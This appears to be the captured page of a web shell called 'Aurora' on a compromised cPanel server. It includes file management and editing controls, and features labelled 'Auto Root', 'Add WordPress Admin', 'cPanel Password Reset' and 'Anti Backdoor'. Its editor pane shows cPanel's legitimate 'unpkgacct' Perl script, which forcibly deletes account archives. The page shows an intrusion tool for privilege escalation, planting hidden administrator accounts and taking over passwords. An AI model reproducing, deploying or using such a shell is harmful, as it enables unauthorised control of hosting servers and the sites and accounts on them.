Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
scripts
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: unpkgacct
#!/bin/bash eval 'if [ -x /usr/local/cpanel/3rdparty/bin/perl ]; then exec /usr/local/cpanel/3rdparty/bin/perl -x -- $0 ${1+"$@"}; else exec /usr/bin/perl -x $0 ${1+"$@"}; fi;' if 0; #!/usr/bin/perl # cpanel - scripts/unpkgacct Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cpanel license. Unauthorized copying is prohibited # NOTE: This script is designed to run on other systems during a transfer, usually as /usr/bin/perl. package scripts::unpkgacct; BEGIN { unshift @INC, '/usr/local/cpanel'; my %seen_inc; @INC = grep { !/(?:^\.|\.\.|\/\.+)/ && !$seen_inc{$_}++ } @INC; undef %seen_inc; } require 5.006; use Errno; our $VERSION = '1.0'; run(@ARGV) if !caller; sub run { my (@argv) = @_; local $| = 1; if ( grep { m{version} } @argv ) { print "unpkgacct VERSION $VERSION\n"; return; } my ( $user, $mntpoint ) = @argv; if ( !_is_sane_username($user) && !enXim($user) ) { die "$0: invalid account “$user”\n"; } #die() is for sanity $mntpoint ||= getmntpoint() || die 'Failed to find mountpoint!'; my @paths_to_check = ( "$mntpoint/cpmove-${user}", "$mntpoint/cpmove-${user}-split", "$mntpoint/cpmove-${user}.tar.gz", "$mntpoint/cpmove-${user}.tar", ); my @paths_to_remove; for my $path (@paths_to_check) { next if -l $path; my $err = $!; if ( -e _ ) { #Exists and is not a symlink -> delete print "Found archive: $path\n"; push @paths_to_remove, $path; } elsif ( $err != Errno::ENOENT ) { #lstat() shouldn’t fail except for ENOENT. warn "lstat($path): $err"; } } if ( !( -d '/usr/local/cpanel' ) && $! ) { if ( $!{'ENOENT'} ) { push @paths_to_remove, '/etc/trueuserdomains'; } else { warn "stat(/usr/local/cpanel): $!"; } } if (@paths_to_remove) { exec( '/bin/rm', '--recursive', '--force', '--', @paths_to_remove ) or die "exec(rm): $!"; } print "The mountpoint “$mntpoint” does not contain any archives for “$user”.\n"; return; } ## case 34397 deprecation: use Cpanel::Filesys::Home::get_homematch_with_most_free_space sub getmntpoint { my ($homedir); my ($homematch); open( CONF, "/etc/wwwacct.conf" ); while (<CONF>) { $_ =~ s/\n//g; if ( $_ !~ /^;/ ) { if ( $_ =~ /HOMEDIR/ ) { ( undef, $homedir ) = split( / /, $_ ); } if ( $_ =~ /HOMEMATCH/ ) { ( undef, $homematch ) = split( / /, $_ ); } } } close(CONF); $homedir =~ s/\/$//g; ## case 34397: mark for deprecation my $disk = `df`; my $max = 0; my $mnt = "/"; my (@DISK) = split( /\n/, $disk ); my $addline = ''; foreach my $line (@DISK) { if ( $line !~ /[\s|\t]+/ ) { $addline = $line; $addline =~ s/\n//g; next; } if ( $line =~ /^\/dev/ || $addline ne "" ) { $line =~ s/\n//g; $line =~ /\s(\d*)\s*\d*\%\s*(\S+)$/; my $free = $1; my $mount = $2; my $assess = 1; if ( ( $mount eq "/" ) && ( $homedir eq 0 ) ) { $assess = 0; } $free = int($free); $max = int($max); if ( ( $max < $free ) && ( $assess eq 1 ) && ( $mount =~ /$homematch/ || $mount eq "/" ) ) { $max = $free; if ( $mount eq "/" ) { $mount = $homedir; } $mnt = $mount; } } } if ( $mnt eq "" || $mnt eq "/" ) { $mnt = '/home'; } return ($mnt); } sub enXim { my ($enxim_user) = @_; return $enxim_user if $enxim_user =~ /site\d+/; my $found = 0; opendir( VH, "/home/virtual" ); my @FILES = grep( /^site/, readdir(VH) ); closedir(VH); foreach my $xsite (@FILES) { my $ul; my $sitedir = '/home/virtual/' . $xsite . "/fst"; open( DNS, "$sitedir/etc/passwd" ); chomp( $ul = <DNS> ); my $muser = ( split /:/, $ul )[0]; close(DNS); if ( $muser eq $enxim_user ) { $found = 1; last } } return $found; } sub _is_sane_username { my ($name) = @_; return 0 if $name =~ tr</><>; return 0 if $name eq '.' || $name eq '..'; return 1; } 1;